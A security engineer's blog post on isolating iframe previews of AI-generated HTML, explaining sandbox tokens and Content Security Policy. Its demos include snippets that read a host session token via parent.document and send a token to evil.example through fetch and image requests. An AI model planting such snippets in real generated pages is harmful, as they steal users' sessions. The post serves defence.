Building an Isolated Preview for AI-Generated HTML A security engineer writing on the blog master.dev built a preview feature that renders AI-generated HTML in an iframe via `srcdoc` and demonstrated that without a `sandbox` attribute the generated page runs on the host's own origin, letting it read `parent.document`, `parent.localStorage` and host cookies — in the demo, lifting a session token straight out of the host page. Adding `sandbox="allow-scripts"` gave the frame an opaque origin, so the same read threw a `SecurityError`. The author, who says he reviews AI features for a living, argues every product that lets a model generate UI needs such a preview and that the unmodified `srcdoc` approach renders code nobody on the team wrote. I owe this article to an uncomfortable moment while writing the last one. I built the demos in Testing an iframe’s postMessage Handler https://blog.master.dev/testing-an-iframes-postmessage-handler/ with AI assistance. I designed the handlers and the test cases, and a model wrote much of the page scaffolding around them. The first time it handed me a finished page, I pasted the markup into an iframe on my dev host to see it, and then sat there looking at what I had done. Being a Security Engineer, I review AI features for a living. I had just rendered code nobody had read, in a document that could see my session. Nothing bad happened, because the model had generated exactly what I asked for. A mistake like this works every time until it matters. Every product that lets a model generate UI now needs a preview, whether it is a chat app with an HTML answer, an internal tool that renders a generated report, or a widget builder. The generated page has to render somewhere. The obvious place is an iframe in your own app, sharing your DOM, your storage, and your network the moment you skip a step. So this is a sequel. Last time https://blog.master.dev/testing-an-iframes-postmessage-handler/ the iframe was a wall with one sanctioned door, postMessage , and we tested the lock. This time the walls themselves are in question. I will build the preview everyone writes first, break it three different ways, and then rebuild it so that the tested protections and their limits are visible. A preview feature begins as two lines. The model returns an HTML string, and the page needs to show it. js const html = modelOutput; // whatever the model returned document.querySelector ' preview' .srcdoc = html; Using srcdoc https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe srcdoc already feels responsible. The generated markup renders in its own document, its CSS stays inside, and the page around it keeps its layout. Compared to the genuinely reckless version, innerHTML straight into your own DOM, it looks like the careful choice. It works on the first try, which readers of the last article will recognize as part of the problem. Nothing about it invites a second look. Demo 1 is this preview, unmodified. Paste in any markup, press render, and it does what it promises. Here is the second look it deserves. The string you just rendered is code, and nobody on your team wrote it. A model produced it from a prompt, and prompts carry whatever the user, or a document the model read, put there. You would never paste a stranger’s HTML into your app without reading it. A preview feature does exactly that, on every keystroke, forever. An iframe loaded through srcdoc with no sandbox attribute runs on the host page’s own origin. Same origin means same everything. The frame can read parent.document , reach parent.localStorage , and touch cookies the host can see. The browser is behaving correctly here. A document on your origin is allowed to script another document on your origin, and as far as the browser knows, you wrote both. Demo 2 gives the host page a pretend session token, the kind a real app keeps in storage or prints into the DOM. The generated page then does what a hostile, or just buggy, snippet would do. It reaches up and reads it. js // inside the generated page const stolen = parent.document.querySelector ' secret' .textContent; // ...and now it has your token Render it with no sandbox and the token appears in the log, lifted straight out of the host. Switch on sandbox="allow-scripts" and render again. The same read now throws a SecurityError , because the sandboxed frame has an opaque origin https://developer.mozilla.org/en-US/docs/Glossary/Origin that matches nothing, including yours. For a resize widget this would be an annoyance and for a preview it is the whole account. A model preview is the one place in your app where untrusted code runs by design, and the blast radius is anything the host document can see. Reading the host is one direction. The other is the frame reaching out past itself, by navigating the top window away, opening a popup, or submitting a form to some endpoint it chose. A sandbox with only allow-scripts blocks all three, but these are exactly the permissions people add back without thinking, because a legitimate embed occasionally wants one of them. Demo 3 renders a generated page with three getaway tests. The checkboxes add the matching sandbox tokens; render, then click each test inside the frame. Ancestor sandbox restrictions and browser policy still apply. // the generated page, trying every exit top.location = 'https://evil.example/pwned'; // navigate the whole tab window.open 'https://evil.example', ' blank' ; // pop a new window document.querySelector 'form' .submit ; // post somewhere With a bare allow-scripts sandbox, all three actions are blocked, even when an API returns without throwing. Tick allow-top-navigation and the frame gains permission to steer the tab, subject to every ancestor’s sandbox and browser navigation rules. Each token is a specific grant. A preview should start with none of them and earn every addition. Adding allow-scripts so the preview runs is the right instinct. The mistake is pasting in allow-same-origin or allow-top-navigation alongside it because something broke once. Here is the test that surprises people who thought the sandbox was the finish line. A frame with sandbox="allow-scripts" cannot read your page and cannot navigate your tab. It can still open the network. fetch runs, an Image with a remote src fires a request, and either one can carry data out in the URL. The sandbox governs what the frame can do to your page and your tab. It says nothing about where the frame may send bytes. // sandboxed, sending synthetic data already present in the preview fetch 'https://evil.example/collect?token=' + encodeURIComponent 'synthetic-demo-token' , { mode: 'no-cors' } ; new Image .src = 'https://evil.example/pixel.gif?token=' + encodeURIComponent 'synthetic-demo-token' ; What stops these fetch and image requests is a Content Security Policy https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy on the preview document, not another sandbox token. A policy of default-src 'none' blocks those requests before they leave. It does not stop the frame from navigating itself, so it is not a complete network boundary. It is a separate control, and it has to be added on purpose. Demo 4 renders a sandboxed preview with a checkbox to add the CSP. Render it, then click Send test requests inside the frame to try fetch and image requests carrying synthetic data to a reserved test host. With the policy on, enforced securitypolicyviolation events identify the fetch and image blocks. With it off, a failed fetch or image error is inconclusive: evil.example is not a live collector, and the demo cannot prove delivery to a server. So these are two independent controls. The sandbox decides what the frame can touch, and CSP limits the resources it can load. A preview needs both, because each closes a hole the other leaves open. The three tests each pointed at a control. Put them together, and the preview has four layers, each closing a specific gap. The safe baseline is an empty sandbox="" , which blocks scripts, forms, popups, top navigation, and same-origin access all at once. Then add back only what the preview genuinely needs. For running generated pages, that is usually allow-scripts alone.